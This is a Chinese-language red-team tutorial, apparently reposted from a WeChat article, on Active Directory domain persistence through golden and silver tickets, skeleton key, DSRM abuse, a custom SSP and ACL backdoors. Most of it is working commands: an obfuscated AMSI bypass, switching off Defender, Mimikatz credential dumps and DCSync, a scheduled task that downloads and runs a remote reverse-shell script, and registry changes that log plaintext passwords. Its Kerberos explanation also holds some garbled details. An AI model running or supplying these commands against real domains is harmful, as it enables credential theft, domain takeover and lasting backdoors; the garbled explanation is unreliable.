基础学习 | Active Directory - 域持久化
2022-4-11 13:1:14 Author: mp.weixin.qq.com(查看原文) 阅读量:22 收藏


介绍

欢迎阅读我在红队系列中的第五篇文章(Active Directory 域持久)。希望大家看完本系列前几篇文章,了解所需的基本概念、高级域枚举讲解、AD/Windows本地权限提升指南和AD横向移动。

如果不是这样,您可以从这里阅读。

本指南主要通过创建金票、银票、万能钥匙、DSRM 和多个 ACL 攻击来详细解释 Active-Directory 域持久。我还将解释每个 pentester/red-teamer 应该控制的术语,以了解在 Active Directory 网络中执行的攻击。您也可以将此称为备忘单。

我将继续使用新的域持久化方法更新本文。

在整篇文章中,我将使用Invoke-Mimikatz在 Windows/Active Directory 域上执行持久性。如果需要任何其他工具,它们将在最后提及。


kerberos 系统是如何工作的?

让我们从上图中分解每一步,了解主机系统和域控制器之间的系统和身份验证是如何发生的。我希望您已经了解 Active Directory 环境中的基本角色和功能。有了这个,让我们开始吧。

1. 客户向 KDC 请求 TGT

  1. 特权用户想要从应用程序或启用 Kerberos 的服务器访问特定服务。
  2. 用户向 KDC 发送时间戳,该时间戳使用用户密码的 NTLM 哈希进行加密和签名。
  3. KDC 需要以下内容来验证请求是否来自它声称的用户。

2. KDC 发送 TGT 给 Client

  1. KDC 接收并解密加密的时间戳。
  2. KDC 确保请求来自它声称的用户,并使用可以授予另一个票证的票证授予票证 (TGT) 进行响应。
  3. 发送的 TGT 使用 KRBTG 的 NTML 散列进行加密和签名,KRBTG 是 KDC 的一个特定帐户,仅用于此目的。这意味着 TGT 只能由 KRBTG 读取和打开。

3. 客户对 TGS 的请求

  1. 客户端收到 TGT,将其发送回 DC 并请求 Ticket Granting Service (TGS) 服务。
  2. KDC 接收 TGS,对其进行解密并执行以下验证。
  3. 它所做的唯一验证是它是否可以解密 TGT。如果可能,它假定 TGT 中的所有内容都是有效的。对于发送到 KDC 的任何 TGT 请求,此验证最多持续20 分钟。

4. KDC 发送带有加密会话的 TGS

  1. 一旦 TGT 被解密,KDC 就会用 TGS 进行响应。注意:KDC 除了特权角色证书(PRG)之外没有其他角色
  2. 从 KDC 发送的 TGS 使用用户从应用程序或启用 Kerberos 的服务器请求的服务的 NTML 散列进行加密。这意味着 TGT 只能由应用程序服务器读取和打开。

5. 客户端发送服务票据

  1. 客户端连接到应用程序服务器并呈现它从 KDC 接收到的用于其请求服务的 TGS。
  2. 由于 TGS 是使用服务帐户的 NTML 哈希加密的,因此它会解密 TGS,然后决定用户是否可以访问该服务。

6. Application Server 将时间戳发送给客户端

  1. 客户端从应用服务器接收它请求的服务。
  2. 客户端和应用程序服务器之间存在相互身份验证,因此合法客户端最终不会将 TGS 发送到恶意应用程序服务器。

要记住的重要点

  • Kerberos RC4 加密的 NTLM 密码哈希。
  • 登录票证 (TGT) 为 DC 提供用户身份验证。
  • Kerberos 策略仅在创建 TGT 时检查。
  • DC 仅在 TGT > 20 分钟时验证用户帐户。
  • 服务票 (TGS) PAC 验证是可选的且很少见。这是直接在 KDC 和应用程序服务器之间进行的验证检查。
    • 服务器 LSASS 向 DC 的 netlogon 服务 (NRPC) 发送 PAC 验证请求
    • 如果它作为服务运行,PAC 验证是可选的(禁用)
    • 如果服务作为 System 运行,它会在 PAC(计算机帐户长期密钥)上执行服务器签名验证。

现在,这些是 Kerberos 系统通常如何工作的步骤。攻击者可以滥用上述步骤中的每一步来获取利润。我假设您可以访问域控制器并且只需要持久性。既然您现在了解了 Kerberos 系统的工作原理,我们就可以开始讨论如何滥用这些步骤。

金票

  • 我们将在金票的帮助下滥用 Kerberos 系统的第三步。
  • Golden Ticket 由 KRBTGT 帐户的哈希签名和加密,使其成为有效的 TGT 票。
  • 由于域控制器(KDC 服务)直到 TGT 超过 20 分钟才完成用户帐户验证,因此我们甚至可以使用已删除/撤销的帐户。
  • krbtgt 用户哈希可用于模拟任何具有来自非域计算机的任何特权的用户。
  • 密码更改对此攻击没有影响。

方法/步骤

  • 1.使用**"Over pass the hash"攻击以"域管理员"**身份获取 Powershell 会话

    1. 创建一个New-PSSession附加到**"域控制器"**
  • 3. 使用Enter-PSSession进入新会话

  • 4.绕过AMSI

    1. 退出
  • 6.使用Invoke-command在新会话上加载Mimikatz.ps1

  • 7.再次使用Enter-PSSession 进入新会话

    1. 现在我们可以在 DC 上执行 mimikatz
    1. 记下krbtgt哈希
  • 10.现在转到任何**"非域管理员"**帐户

    1. 加载Mimikats.ps1
  • 12. 现在我们可以使用 DC krbtgt哈希创建票证

  • ls \\dc-corp\C$

    PsExec64.exe \\adminsys.star.castle.local -u star\adminsys -p passwordhere cmd

    1. 现在我们可以访问 DC 上的任何服务了。示例

Invoke-Mimikatz

1.禁用后卫

Set-MpPreference -DisableRealtimeMonitoring $true 

2.AMSI绕过

sET-ItEM ( 'V'+'aR' + 'IA' + 'blE:1q2' + 'uZx' ) ( [TYpE]( "{1}{O}"-F'F''rE' ) ) 3; ( GeT-VariaBle ( "1Q2U" + "zX" )  -VaL_s+)."A`ss`Embly"."GET`TY`Pe"((  "{6}{3}{1}{4}{2}{@}{5}" -f'Util''A''Amsi','.Management.''utomation.','s''System' ))."g`etf`iE1D"( ( "{O}{2}{1}" -f'amsi','d','InitFaile' ),("{2}{4}{O}{1}{3}" -f 'Stat','i','NonPubli','c','c,' ))."sE`T`VaLUE"(${n`ULl},${t`RuE} ) 

3、在DC上作为DA执行mimikatz得到krbtgt hash

Invoke-Mimikatz -Command '"lsadump::lsa /patch"' -Computername <computer-name> 

4. 在任意机器上创建一张票("pass the ticket"攻击)

Invoke-Mimikatz -Command '"kerberos::golden /User:Administrator /domain:domain-name-goes-here /sid:sid-goes-here /krbtgt:hash-goes-here id:500 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt"' 

/ptt : 在当前 Powershell 进程中注入票证/磁盘上没有票证**/ticket** : 将票证保存到文件以供以后使用**/startoffset** : 根据域策略使用**(Get-DomainPolicy -domain)放置适当的偏移值moneycorp.local)."kerberos policy"**否则会话可能会被阻止/未创建

5. 列出可用的 Kerberos 服务

klist 

额外的命令

要使用 DCSync 功能获取 krbtgt 哈希,请以 DA 权限执行以下命令

Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"' 

使用 DCSync 选项无需在目标 DC 上执行代码(无需运行 Invoke-Mimikatz)

使用 KRBTGT 的 NTML 哈希创建黄金票

  • 需要 DA privs,这可以通过使用 over-pass-the-hash 以域管理员身份启动 PowerShell 会话来完成。
  • 向域控制器输入 PSSession 并转储哈希。
# Enter session
powershell -ep bypass
$sess = New-PSSession -ComputerName <computer-name>
Enter-PSSession $sess

# Bypass Protections
[star-dc]:PS> Set-MpPreference -DisableRealtimemonitoring $true 
[star-dc]:PS> Set-MpPreference -DisableIOAVProtection $true

# exit PSRemote session
exit

# Get the KRBTGT hash
Invoke-Command -FilePath .\Invoke-Mimikatz.ps1 -Session $sess
Enter-PSSession $sess
[star-dc]:PS> Invoke-Mimikatz -Command '"lsadump::lsa /patch"'
[star-dc]:PS> Invoke-Mimikatz

  • 现在在任何机器上,即使它不是域的一部分但可以通过网络到达 DC,我们可以使用来自 krbtgt 哈希的信息来创建黄金票。
#Note the admin SID
. .\PowerView.ps1
Get-DomainSID -Administrator

#Load the krbtgt hash
Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:domain-name-here /sid:admin-sid-here /krbtgt:krbtg-hash-here id:500 /groups:512 /startoffset:0 /endin:600 /renewmax:10080 /ptt"'

  • 现在我们可以探索 DC 文件系统并执行 WMI 命令
ls \\star-dc\C$\
gwmi -Class win32_computersystem -ComputerName star-dc

银票

  • 我们将在银票的帮助下滥用 Kerberos 系统的第 5 步。
  • 有效的 TGS(金票是 TGT)。
  • 由使用该帐户运行的服务的服务帐户的 NTLM 哈希加密和签名(黄金票证由 krbtgt 的哈希签名)。
  • 服务很少检查 PAC(特权属性证书)。
  • 服务将只允许访问服务本身。
  • 合理的持久期(计算机帐户默认为 30 天)。

SPN 列表:https://adsecurity.org/?page_id=183

方法/步骤

  • 1.使用**"Over pass the hash"攻击以"域管理员"**身份获取 Powershell 会话
    1. 创建一个New-PSSession附加到**"域控制器"**
  • 3. 使用Enter-PSSession进入新会话
  • 4.绕过AMSI
    1. 退出
  • 6.使用Invoke-command在新会话上加载Mimikatz.ps1
  • 7.再次使用Enter-PSSession 进入新会话
    1. 现在我们可以在 DC 上执行 mimikatz
    1. 记下krbtgt哈希
    1. 使用rc4哈希请求访问DC的服务
    1. 安排和执行任务

Invoke-Mimikatz

1、在DC上作为DA执行mimikatz得到krbtgt hash

Invoke-Mimikatz -Command '"lsadump::lsa /patch"' -Computername dcorp-dc 

2. 使用域控制器计算机帐户的哈希,以下命令提供对 DC 上共享的访问权限

Invoke-Mimikatz -Command '"kerberos::golden /domain:star-dc /sid:admin-sid-here /target:star-dc /service:CIFS /rc4:rc4-hash-here /user:Administrator /ptt"' 

3. 安排和执行任务

schtasks /create /S star-dc /SC Weekly /RU "NT Authority\SYSTEM" /TN "STCheck" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://10.10.10.10:8080/Invoke-PowerShellTcp.psi''')'"

schtasks /Run /S star-dc /TN "STCheck"

为了访问 WMI,我们必须创建两张票:一张用于 HOST 服务,另一张用于 RPCSS

万能钥匙

  • 万能密钥是一种持久性技术,可以在其中修补域控制器(Lsass 进程),以便它允许使用单个密码的任何用户进行访问。
  • 该攻击是由 Dell Secureworks 在名为 Skeleton Key 恶意软件的恶意软件中发现的。
  • 所有公知的方法在重新启动后都不会持久

方法/步骤

  • 1.在DC中注入万能钥匙
  • 2.现在我们可以使用密码访问任何机器mimikatz

Invoke-Mimikatz

1.使用以下命令注入一个skeleton-Key

Invoke-Mimikatz -Command '"privilege::debug" "misc::skeleton' -ComputerName <computer-name> 

万能钥匙密码为:mimikatz

2.现在我们可以访问任何具有有效用户名和密码的机器作为mimikatz

Enter-PSSession -Computername <computer-name> -credential dcorp\Administrator 

额外的命令

LSASS 作为受保护进程运行

如果 Lsass 作为受保护进程运行,我们仍然可以使用 Skeleton Key,但它需要目标 DC 磁盘上的 mimikatz 驱动程序 (mimidriv.sys)

mimikatz # privilege::debug mimikatz # !+ mimikatz # !processprotect /process:lsass.exe /remove mimikatz # misc::skeleton mimikatz # !- 

以上在日志中会非常嘈杂 - 服务安装(内核模式驱动程序)

目录服务还原模式 (DSRM)

  • DSRM 是目录服务还原模式
  • 每个 DC 上都有一个名为"Administrator"的本地管理员,其密码是 DSRM 密码
  • 将服务器提升为域控制器并且很少更改时需要DSRM 密码 ( SafeModePassword )
  • 更改 DC 上的配置后,可以传递此用户的 NTLM 哈希来访问 DC。

方法/步骤

    1. 从 DC 的 SAM 文件中提取凭据
    1. 更改 DSRM 帐户的登录行为
  • 3.通过DSRM管理员的Hash并登录

Invoke-Mimikatz

1.转储DSRM密码(需要DA privs)

Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"' -Computername dcorp-dc 

2.将管理员哈希与以下命令的管理员哈希进行比较

Invoke-Mimikatz -Command '"lsadump::lsa /patch"' -Computername dcorp-dc 

如果使用**/patch的管理员的NTML哈希与使用DSRM 转储**的管理员的 NTML 哈希不同,则它是 DSRM 本地管理员的正确哈希

3. 添加/编辑 DSRM 帐户的登录行为

由于是DC的本地管理员,我们可以通过hash来进行认证。但是,需要更改 DSRM 帐户的登录行为,然后才能使用其哈希值

#Get a session as the DC
Enter-PSSession -Computername dcorp-dc

#check DSRM property
Get-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\"

#If DSRMAdminLognonBehariour attribute not created then create and set
New-ItemProperty "

HKLM:\System\CurrentControlSet\Control\Lsa\" -Name "DsrmAdminLogonBehavior" -Value 2 -PropertyType DWORD -Verbose

#If already present but wrong value , then update
Set-ItemProperty -Name "DsrmAdminLogonBehavior" -Value 2

4.使用以下命令传递哈希

Invoke-Mimikatz -Command '"sekurlsa::pth /domain:dcorp-dc /user:Administrator /ntlm:dsrm-hash-goes-here /run:powershell.exe"' 

5. 现在我们可以在 DC 上运行命令了

ls \\dcorp-dc\c$ 

自定义安全支持提供程序 (SSP)

安全支持提供程序 (SSP) 是一个 DLL,它为应用程序提供获取经过身份验证的连接的方法。Microsoft 的一些 SSP 包是

  • NTLM
  • Kerberos
  • 文摘
  • 信用证

Mimikatz 提供了一个自定义的 SSP——mimilib.dll。SSP 日志从机器的下一次重新启动开始。此 SSP 在目标服务器上以明文形式记录本地登录、服务帐户和计算机帐户密码。

Mimikatz(如何设置 SSP)

方法一

将 mimilib.dll 拖放到 system32 并将 mimilib 添加到"HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Security Packages"

$packages = Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Ccontrol\Lsa\OSconfig\ -Name 'Security Packages'| select -ExpandProperty 'Security Packages'
$packages += "mimilib"
Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\control\Lsa\OSconfig\ -Name 'Security Packages' -Value $packages
Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\control\Lsa\ -Name 'Security Packages' -Value $packages

方法二

使用 mimikatz,注入 Isass(在 Server 2016 上不稳定):

Invoke-Mimikatz -Command '"misc::memssp"'  

现在您可以查看所有带有凭据的本地登录日志C:\Windows\System32\kiwissp.log

ACL - AdminSDHolder

  • 驻留在域的系统容器中,用于控制某些内置特权组(称为受保护组)的权限 - 使用 ACL。
  • 安全描述符传播器 (SDPROP) 每小时运行一次,并将受保护组和成员的 ACL 与 AdminSDHolder 的 ACL 进行比较,任何差异都将覆盖在对象 ACL 上。

Invoke-SDPropagator

手动运行 SDProp

Invoke-SDPropagator -timeoutMinutes 1 -showProgress -Verbose 

对于 Pre-Server 2008 机器

Invoke-SDPropagator -taskname FixUpInheritance -timeoutMinutes 1 -showProgress -Verbose 

Powerview(DEV 分支)

将用户的完全控制权限添加到 AdminSDHolder

Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName user1 -Rights All -Verbose 

用户对 AdminSDHolder 的其他有趣权限(重置密码、写入成员)

Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName user1 -Rights ResetPassword -Verbose
Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName user1 -Rights WriteMembers -Verbose

检查域管理员权限

Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{$_.IdentityReference -match 'user1'

滥用 ResetPassword/ForceChangePassword

Set-DomainUserPassword -Identity testda -AccountPassword (ConvertTo-SecureString "[email protected]" -AsPlainText -Force) -Verbose 

使用其他用户的信用滥用 ForceChangePassword

Import-Module .\PowerView_dev.ps1

#Setting password for runas user for
$SecPassword = ConvertTo-SecureString 'password' -AsPlainText -Force

#Setting password for runas user for
$Cred = New-Object System.Management.Automation.PSCredential('Domain-Name-Here\User-here'$SecPassword)

#Set new password fot the user where you can abuse ForceChangePassword
$UserPassword = ConvertTo-SecureString 'Password1!' -AsPlainText -Force

#Update the password for that user
Set-DomainUserPassword -Identity User-Whose-Password-You-Want-To-Change-here -AccountPassword $UserPassword -Crendential $Cred

获取通用所有访问权限

导入ADModule并将SDPropagator PS脚本设置在同一路径文件夹中

Add-ObjectAcl -TargetADSprefix 'CN=AdminSDHolder,CN=System' -PrincipalSamAccountName user1 -Rights All -Verbose

$sess = New-PSSession -Computername star-dc.root.local
Invoke-Command -FilePath ".\Invoke-SDPropagator.ps1" -Session $sess
Enter-PSSession -Session $sess

[star-dc.root.local]:PS> Invoke-SDPropagator -timeoutMinutes 1 -showProgress -Verbose

现在,如果我们检查用户的权限,他应该拥有通用所有访问权限

Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{$_.IdentityReference -match 'user1'

滥用通用-所有访问

滥用完全控制

Add-DomainGroupMember -Identity 'Domain Admins' -Members 'user1' -Verbose 

ACL - DCSync

  • 还有更多有趣的 ACL 可以被滥用。
  • 例如,使用 DA 权限,可以修改域根的 ACL 以提供有用的权限,如 FullControl 或运行"DCSync"的能力。

方法/步骤

  • 1.检查用户是否有PowerView的复制权限
    1. 如果用户没有复制权限,请从域管理员 shell 添加他们
    1. 获取 krbtgt 或我们想要的任何其他用户的哈希值

PowerView

1. 为 DCSync 添加权限

Add-ObjectAcl -TargetDistinguishedName 'DC=domain,DC=local' -PrincipalSamAccountName student1 -Rights DCSync -Verbose 

Invoke-Mimikatz

2. 执行 DCSync

Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"' 

ACL - 安全描述符

  • 可以修改多个远程访问方法(安全对象)的安全描述符(安全信息,如所有者、主要组、DACL 和 SACL)以允许非管理员用户访问。

  • 为此需要管理权限。

  • 当然,它是一种非常有用且影响深远的后门机制。

  • 安全描述符定义语言定义了用于描述安全描述符的格式。SDDL 对 DACL 和 SACL 使用 ACE 字符串:

    ace_type;ace_flags;rights;object_guid;inherit_object_guid;account_sid

  • ACE 用于 WMI 命名空间的内置管理员

    A;Cl;CCDCLCSWRPWPRCWD;;;SID

文档:https://docs.microsoft.com/en-us/windows/win32/secauthz/ace-strings?redirectedfrom=MSDN

方法/步骤

    1. 一旦我们拥有了机器的管理权限,我们就可以修改服务的安全描述符来访问没有管理权限的服务。

设置远程WMI

1. 在本地机器上为 userX

Set-RemoteWMI -UserName userX -Verbose 

2. 在没有明确凭据的 userX 的远程机器上

Set-RemoteWMI -UserName userX -ComputerName <computer> -namespace 'root\cimv2' -Verbose 

3.现在我们可以执行WMI命令了

Get-WmiObject -Class win32_operatingsystem -ComputerName <computer> 

4. 在具有显式凭据的远程计算机上。只有 root\cimv2 和嵌套命名空间

Set-RemoteWMI -UserName userX -ComputerName <computer> -Credential Administrator -namespace 'root\cimv2' -Verbose 

5.在远程机器上删除权限

Set-RemoteWMI -UserName userX -ComputerName <computer> -namespace 'root\cimv2' -Remove -Verbose 

Set-RemotePSRemoting

1. 在本地机器上为 userX

Set-RemotePSRemoting -UserName userX -Verbose 

2.现在我们可以通过Invoke-Command来执行****ScriptBlock命令

Invoke-Command -ScriptBlock {whoami} -ComputerName <computer> 

3. 在没有凭据的用户X 的远程机器上

Set-RemotePSRemoting -UserName userX -ComputerName <computer> -Verbose 

4.在远程机器上,删除权限

Set-RemotePSRemoting -UserName userX -ComputerName <computer> -Remove 

Add-RemoteRegBackdoor

1. 使用 DAMP,在远程机器上具有管理员权限

Add-RemoteRegBackdoor -ComputerName <computer> -Trustee user1 -Verbose 

远程哈希检索

2.作为student1,检索机器账号hash

Get-RemoteMachineAccountHash -ComputerName <computer> -Verbose 

如果出错,将脚本中的 InitV

3 .检索本地帐户哈希

Get-RemoteLocalAccountHash -ComputerName <computer> -Verbose 

4.检索域缓存的凭据

Get-RemoteCachedCredential -ComputerName <computer> -Verbose 

使用的工具

  1. Invoke-Mimikatz 从这里下载:Invoke-Mimikatz
  2. PowerView 从这里下载:powerview.ps1
  3. PowerView Dev 从这里下载:powerview.ps1
  4. Set-RemoteWMI 从这里下载:Set-RemoteWMI.ps1
  5. Set-RemotePSRemoting 从这里下载:Set-RemotePSRemoting.ps1
  6. Add-RemoteRegBackdoor 从这里下载:Add-RemoteRegBackdoor.ps1
  7. RemoteHashRetrieval 从这里下载:RemoteHashRetrieval.ps1

文章来源: http://mp.weixin.qq.com/s?__biz=MzU0MDcyMTMxOQ==&mid=2247486414&idx=2&sn=c549c50f2e24c365eae03e0baa81265c&chksm=fb35a206cc422b10865e1436a5ca45df0edffdebd6ced454b655d929d44206de5020d45987b2#rd
如有侵权请联系:admin#unsafe.sh